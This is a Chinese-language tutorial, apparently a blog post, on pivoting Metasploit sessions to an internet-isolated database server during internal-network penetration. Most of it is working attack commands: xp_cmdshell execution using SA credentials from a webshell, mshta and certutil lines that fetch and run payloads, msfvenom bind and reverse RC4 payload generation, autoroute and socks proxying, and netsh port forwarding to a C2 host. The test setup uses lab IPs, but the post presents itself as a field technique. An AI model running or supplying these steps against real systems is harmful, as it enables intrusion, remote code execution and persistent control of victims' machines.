利用MSF上线断网主机的思路分享

简介: 利用MSF上线断网主机的思路分享

我们在做内网渗透时常会遇到内网的某些主机不通外网的情况,遇到这种场景时应该如何上线呢?网上看到较多的都是断网机上线CS的姿势,很少看到有人写上线MSF的姿势。


这篇文章笔者就来分享几种断网机上线至MSF的姿势,仅为大家提供思路,最终还得根据目标实际情况选择合适方法,关于行为、特征的拦截查杀以及绕过不在本节讨论范围。


0x01 测试环境

    攻击机(Kali):192.168.56.101
    受害机1(Web):192.168.56.102、192.168.186.3 - 双网卡
    受害机2(Data):192.168.186.4 - 断网机


    0x02 模拟实战测试

    已利用某漏洞拿到了目标.Net站点的Webshell,并且在web.config或数据库连接文件中找到了MSSQL数据库的IP地址、用户以及密码。


    当前数据库用户为SA,可直接利用xp_cmdshell组件执行命令,但这是个站库分离环境,而且这台内网数据库服务器不允许连接外网,所以导致无法直接上线至MSF。

      EXEC master..xp_cmdshell 'ping baidu.com'


      先不管这台断网数据库服务器,直接利用hta_server模块或白名单等方式得到那台可以连接外网的Web服务器会话,然后再想办法上线那台断网的数据库服务器。

        use exploit/windows/misc/hta_server
        set target 1
        set payload windows/x64/meterpreter/reverse_tcp
        set lhost 192.168.56.101
        set lport 443
        exploit

        0x03 虚拟路由 + hta_server

        执行第一条命令时可以看到这个内网中有56和186两个段,接着执行第二条命令将当前MSF添加至186段的虚拟路由中以达到能直接扫描和测试内网主机的目的。

          run get_local_subnetsrun autoroute -s 192.168.186.0/255.255.255.0run autoroute -d -s 192.168.186.0bg

          回到hta_server模块重新配置下相关选项,将LHOST、SRVHOST设置为当前已控出网主机的内网IP,得注意下LPORT、SRVPORT端口不要与出网主机已使用端口冲突了。

            set lhost 192.168.186.3
            set srvhost 192.168.186.3

            执行exploit后看到Job 2是通过会话1在当前已控出网主机192.168.186.3上执行监听的,所以能够与断网数据库服务器192.168.186.4进行通讯,这里可以看到已经成功上线了。


            流量走向:

            • 192.168.186.4->192.168.186.3:443->192.168.56.102->C2
            EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta'

            注意事项:

            添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的,所以在不出网主机上无法访问和执行,最终导致无法上线。


            思路拓展:

            bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多,都要用到MSF虚拟路由,只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事,不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。

              EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe'

              0x04 Socks代理 + Proxychains

              我们先用autoroute模块自动添加虚拟路由,再用MSF中的Socks模块开一个Socks代理,设置选项可以不做修改,直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。

                run post/multi/manage/autoroute
                bg
                use auxiliary/server/socks4a
                exploit


                Socks4代理开好后找到/etc/proxychains.conf配置文件,在底部填入127.0.0.1和1080端口,然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功?

                  proxychains curl http://192.168.186.4
                  proxychains nc -zv 192.168.186.4 1433

                  确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件,通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。

                    msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe

                    另起一个命令终端用proxychains代理工具来启动msfconsole,配置好handler监听模块bind_tcp相关选项执行监听,在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。


                    流量走向:

                    • 192.168.186.4:443->192.168.186.3->Socks4->192.168.56.101
                    proxychains msfconsole -q
                    use exploit/multi/handler
                    set payload windows/x64/meterpreter/bind_tcp
                    set rhost 192.168.186.4
                    set lport 443
                    exploit
                    EXEC master..xp_cmdshell 'C:\ProgramData\bind.exe'

                    0x05 netsh interface portproxy

                    我们先执行以下命令添加一个端口转发规则,将可以出网的Web服务器443端口流量全部转发至攻击机192.168.56.101的4444端口,添加完成后去看下443端口是否已经开放?

                      添加端口转发
                      netsh interface portproxy add v4tov4 listenport=443 connectaddress=192.168.56.101 connectport=4444
                      删除端口转发
                      netsh interface portproxy delete v4tov4 listenport=443
                      显示所有端口转发
                      netsh interface portproxy show all


                      微软官方文档:

                      https://docs.microsoft.com/zh-cn/windows-server/networking/technologies/netsh/netsh-interface-portproxy



                      执行以上命令有权限限制,需要≥Administrators才能执行,低权限用户执行时会出现下图提示,中文意思是:请求的操作需要提升(以管理员身份运行)。


                      使用msfvenom生成一个reverse_tcp_rc4载荷文件,同样通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。

                      • LHOST:出网主机186段内网IP地址;
                      • LPORT:出网主机需转发的443端口;
                      • RC4PASSWORD:验证密码;
                      msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.186.3 LPORT=443 RC4PASSWORD=3had0w -f exe > /var/www/html/fuck.exe

                      handler监听模块这里必须也要用reverse_tcp_rc4,配置好相关选项后执行监听,在中国菜刀中利用xp_cmdshell组件执行fuck.exe文件后即可上线。

                      • lhost:攻击机IP(192.168.56.101);
                      • lport:转发过来的4444端口,其它端口无效;
                      • rc4password:填验证密码,
                      msfconsole -q
                      use exploit/multi/handler
                      set payload windows/x64/meterpreter/reverse_tcp_rc4
                      set lhost 192.168.56.101
                      set lport 4444
                      set rc4password 3had0w
                      exploit
                      EXEC master..xp_cmdshell 'C:\ProgramData\fuck.exe'

                      为什么最终建立连接时显示的是:192.168.56.101:4444 -> 192.168.56.102:50178???因为我们在Web服务器中做了端口转发,看下图这两台主机的网络连接状态就应该知道咋回事了。


                      流量走向:

                      • 192.168.186.4->192.168.186.3:443->192.168.56.102->C2

                      0x06 文末小结

                      在本节中简单介绍了3种MSF上线断网机的姿势,使用goproxy http、pystinger Socks4a等姿势也是可以的,都需要通过出网主机流量才能与不出网主机进行通讯(上线),最终流量走向都是:不出网主机->出网主机->VPS,大家可以根据文章中提供的方法自行拓展新姿势,只要你姿势足够骚,就没有打不进去的,0.0。

                      相关文章
                      |
                      8月前
                      |
                      前端开发
                      如何利用dnslog探测目标主机杀软
                      如何利用dnslog探测目标主机杀软
                      110 0
                      |
                      3天前
                      |
                      监控 网络协议 安全
                      【亮剑】如何解决IP能ping通但无法上网的问题?
                      【4月更文挑战第30天】当设备IP能ping通但无法上网时,可能是DNS解析、网关/路由设置、防火墙限制、网络配置错误或ISP问题。解决步骤包括检查网络配置、DNS设置、网关路由、防火墙规则,以及联系ISP。预防措施包括定期备份配置、更新固件、监控网络性能和实施网络安全策略。通过排查和维护,可确保网络稳定和安全。
                      |
                      4月前
                      |
                      存储 安全 网络安全
                      怎么看服务器是中毒了还是被攻击?以及后续处理方案
                      怎么看服务器是中毒了还是被攻击?以及后续处理方案
                      |
                      8月前
                      |
                      开发框架 安全 .NET
                      记一次绕过安全狗命令执行上线
                      记一次绕过安全狗命令执行上线
                      115 1
                      |
                      9月前
                      |
                      网络协议 应用服务中间件 Linux
                      硬核图解!断网了,还能ping通 127.0.0.1 吗?为什么?
                      硬核图解!断网了,还能ping通 127.0.0.1 吗?为什么?
                      118 0
                      硬核图解!断网了,还能ping通 127.0.0.1 吗?为什么?
                      |
                      监控 网络协议 测试技术
                      网工必备网络排错管理工具之IP链路测试工具
                      网工必备网络排错管理工具之IP链路测试工具
                      374 0
                      网工必备网络排错管理工具之IP链路测试工具
                      |
                      存储 安全 网络协议
                      文件cs上线主机及攻击使用ping工具
                      Hancitor是一种信息窃取程序和恶意软件下载程序,被指定为MAN1,Moskalvzapoe或TA511的威胁参与者使用。在2018年的威胁简介中,我们指出Hancitor相对不成熟,但在未来数年中仍将是威胁。大约三年后,Hancitor仍然是一种威胁,并且已经演变为使用Cobalt Strike之类的工具。最近几个月,该参与者开始使用网络ping工具来帮助枚举受感染主机的Active Directory(AD)环境。该博客说明了Hancitor背后的威胁参与者如何使用网络ping工具,以便安全专业人员可以更好地识别和阻止其使用。
                      194 0
                      文件cs上线主机及攻击使用ping工具
                      Tool之ping:如何使用ping命令检测电脑网络故障图文教程
                      Tool之ping:如何使用ping命令检测电脑网络故障图文教程
                      Tool之ping:如何使用ping命令检测电脑网络故障图文教程
                      |
                      安全 Java Linux
                      Linux服务器被入侵向外发包的处理解决方法
                      下面通过Sinesafe的客户一个案例介绍下当一个服务器被rootkit入侵后的处理思路和处理过程,rootkit攻击是Linux系统下最常见的攻击手段和攻击方式。
                      839 0